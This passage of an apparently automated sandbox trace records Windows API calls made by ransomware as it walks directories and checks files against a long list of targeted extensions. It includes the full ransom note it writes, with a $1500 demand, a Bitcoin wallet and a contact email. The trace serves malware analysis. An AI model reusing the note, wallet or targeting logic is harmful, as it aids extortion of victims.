(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.vsd") returned 0 [0111.998] lstrlenA (lpString="*.vsd") returned 5 [0111.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.odg") returned 0 [0111.999] lstrlenA (lpString="*.odg") returned 5 [0111.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.raw") returned 0 [0111.999] lstrlenA (lpString="*.raw") returned 5 [0111.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.nef") returned 0 [0111.999] lstrlenA (lpString="*.nef") returned 5 [0111.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.svg") returned 0 [0111.999] lstrlenA (lpString="*.svg") returned 5 [0111.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.psd") returned 0 [0111.999] lstrlenA (lpString="*.psd") returned 5 [0111.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.vmx") returned 0 [0111.999] lstrlenA (lpString="*.vmx") returned 5 [0111.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.vmdk") returned 0 [0111.999] lstrlenA (lpString="*.vmdk") returned 6 [0111.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.vdi") returned 0 [0111.999] lstrlenA (lpString="*.vdi") returned 5 [0111.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.lay6") returned 0 [0111.999] lstrlenA (lpString="*.lay6") returned 6 [0111.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.mpeg") returned 0 [0111.999] lstrlenA (lpString="*.mpeg") returned 6 [0111.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.djvu") returned 0 [0112.000] lstrlenA (lpString="*.djvu") returned 6 [0112.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.tiff") returned 0 [0112.000] lstrlenA (lpString="*.tiff") returned 6 [0112.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.backup") returned 0 [0112.000] lstrlenA (lpString="*.backup") returned 8 [0112.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.pdf") returned 0 [0112.000] lstrlenA (lpString="*.pdf") returned 5 [0112.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.cert") returned 0 [0112.000] lstrlenA (lpString="*.cert") returned 6 [0112.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.docm") returned 0 [0112.000] lstrlenA (lpString="*.docm") returned 6 [0112.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.xlsm") returned 0 [0112.000] lstrlenA (lpString="*.xlsm") returned 6 [0112.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.dwg") returned 0 [0112.000] lstrlenA (lpString="*.dwg") returned 5 [0112.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.nd") returned 0 [0112.000] lstrlenA (lpString="*.nd") returned 4 [0112.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.tlg") returned 0 [0112.000] lstrlenA (lpString="*.tlg") returned 5 [0112.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.lgb") returned 0 [0112.001] lstrlenA (lpString="*.lgb") returned 5 [0112.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.mov") returned 0 [0112.001] lstrlenA (lpString="*.mov") returned 5 [0112.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.xdw") returned 0 [0112.001] lstrlenA (lpString="*.xdw") returned 5 [0112.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.ods") returned 0 [0112.001] lstrlenA (lpString="*.ods") returned 5 [0112.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.wav") returned 0 [0112.001] lstrlenA (lpString="*.wav") returned 5 [0112.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.mp3") returned 0 [0112.001] lstrlenA (lpString="*.mp3") returned 5 [0112.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.aiff") returned 0 [0112.001] lstrlenA (lpString="*.aiff") returned 6 [0112.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.flac") returned 0 [0112.001] lstrlenA (lpString="*.flac") returned 6 [0112.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.m4a") returned 0 [0112.001] lstrlenA (lpString="*.m4a") returned 5 [0112.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFontCac#\\0246845f487e5f33d3564eff578665a3\\PresentationFontCache.ni.exe", pszSpec="*.csv") returned 0 [0112.001] lstrlenA (lpString="*.csv") returned 5 [0112.002] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47ebbec, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x47ebbec, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x4811d4c, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x11a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFontCache.ni.exe", cAlternateFileName="PRESEN~1.EXE")) returned 0 [0112.002] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.002] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4837ead, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x4837ead, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x4837ead, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0246845f487e5f33d3564eff578665a3", cAlternateFileName="024684~1")) returned 0 [0112.002] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.002] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8dae4c7f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb1a335c2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb1a335c2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x730065, cFileName="PresentationFramewo#", cAlternateFileName="PRESEN~3")) returned 1 [0112.002] lstrcmpA (lpString1=".", lpString2="PresentationFramewo#") returned -1 [0112.002] lstrcmpA (lpString1="..", lpString2="PresentationFramewo#") returned -1 [0112.002] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.002] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="PresentationFramewo#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#" [0112.002] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#") returned 67 [0112.002] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8dae4c7f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb1a335c2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb1a335c2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.050] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.051] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8dae4c7f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb1a335c2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb1a335c2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.051] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.051] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.051] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8dae4c7f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8dae4c7f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8dae4c7f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="09ca6fe45ec9d8c535413b0dfa7d2075", cAlternateFileName="09CA6F~1")) returned 1 [0112.051] lstrcmpA (lpString1=".", lpString2="09ca6fe45ec9d8c535413b0dfa7d2075") returned -1 [0112.051] lstrcmpA (lpString1="..", lpString2="09ca6fe45ec9d8c535413b0dfa7d2075") returned -1 [0112.051] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\*.*") returned="*.*" [0112.051] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\", lpString2="09ca6fe45ec9d8c535413b0dfa7d2075" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075" [0112.051] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075") returned 100 [0112.051] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8dae4c7f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8dae4c7f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8dae4c7f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.081] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.081] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8dae4c7f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8dae4c7f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8dae4c7f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.081] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.081] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.081] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d5afc55, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8d5afc55, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8d7c4f99, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x124e600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1 [0112.081] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.081] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationFramework.ni.dll") returned -1 [0112.081] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationFramework.ni.dll") returned -1 [0112.081] lstrcmpiA (lpString1="", lpString2="PresentationFramework.ni.dll") returned -1 [0112.081] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\*.*") returned="*.*" [0112.081] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\" [0112.081] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\") returned="" [0112.081] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\HOW TO DECRYPT FILES.txt" [0112.081] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\presentationframewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\how to decrypt files.txt")) returned 0xffffffff [0112.081] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\presentationframewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.083] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.083] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.084] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.085] CloseHandle (hObject=0x90) returned 1 [0112.085] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\", lpString2="PresentationFramework.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll" [0112.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.ems") returned 0 [0112.085] lstrlenA (lpString="*.ems") returned 5 [0112.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.db") returned 0 [0112.085] lstrlenA (lpString="*.db") returned 4 [0112.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.dbf") returned 0 [0112.085] lstrlenA (lpString="*.dbf") returned 5 [0112.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.myox") returned 0 [0112.085] lstrlenA (lpString="*.myox") returned 6 [0112.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.myo") returned 0 [0112.085] lstrlenA (lpString="*.myo") returned 5 [0112.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.qbw") returned 0 [0112.085] lstrlenA (lpString="*.qbw") returned 5 [0112.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.qbb") returned 0 [0112.085] lstrlenA (lpString="*.qbb") returned 5 [0112.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.qbm") returned 0 [0112.086] lstrlenA (lpString="*.qbm") returned 5 [0112.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.qbo") returned 0 [0112.086] lstrlenA (lpString="*.qbo") returned 5 [0112.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.qbx") returned 0 [0112.086] lstrlenA (lpString="*.qbx") returned 5 [0112.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.qba") returned 0 [0112.086] lstrlenA (lpString="*.qba") returned 5 [0112.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.qby") returned 0 [0112.086] lstrlenA (lpString="*.qby") returned 5 [0112.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.qbj") returned 0 [0112.086] lstrlenA (lpString="*.qbj") returned 5 [0112.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.ofx") returned 0 [0112.086] lstrlenA (lpString="*.ofx") returned 5 [0112.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.qif") returned 0 [0112.086] lstrlenA (lpString="*.qif") returned 5 [0112.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.mye") returned 0 [0112.086] lstrlenA (lpString="*.mye") returned 5 [0112.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.mbox") returned 0 [0112.086] lstrlenA (lpString="*.mbox") returned 6 [0112.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.eml") returned 0 [0112.086] lstrlenA (lpString="*.eml") returned 5 [0112.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.pst") returned 0 [0112.086] lstrlenA (lpString="*.pst") returned 5 [0112.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.ost") returned 0 [0112.087] lstrlenA (lpString="*.ost") returned 5 [0112.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.idx") returned 0 [0112.087] lstrlenA (lpString="*.idx") returned 5 [0112.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.dbx") returned 0 [0112.087] lstrlenA (lpString="*.dbx") returned 5 [0112.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.sql") returned 0 [0112.087] lstrlenA (lpString="*.sql") returned 5 [0112.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.mdb") returned 0 [0112.087] lstrlenA (lpString="*.mdb") returned 5 [0112.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.fdb") returned 0 [0112.087] lstrlenA (lpString="*.fdb") returned 5 [0112.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationFramewo#\\09ca6fe45ec9d8c535413b0dfa7d2075\\PresentationFramework.ni.dll", pszSpec="*.wab") returned 0 [0112.087] lstrlenA (lpString="*.wab") returned 5 [0112.087] PathMatchSpecA 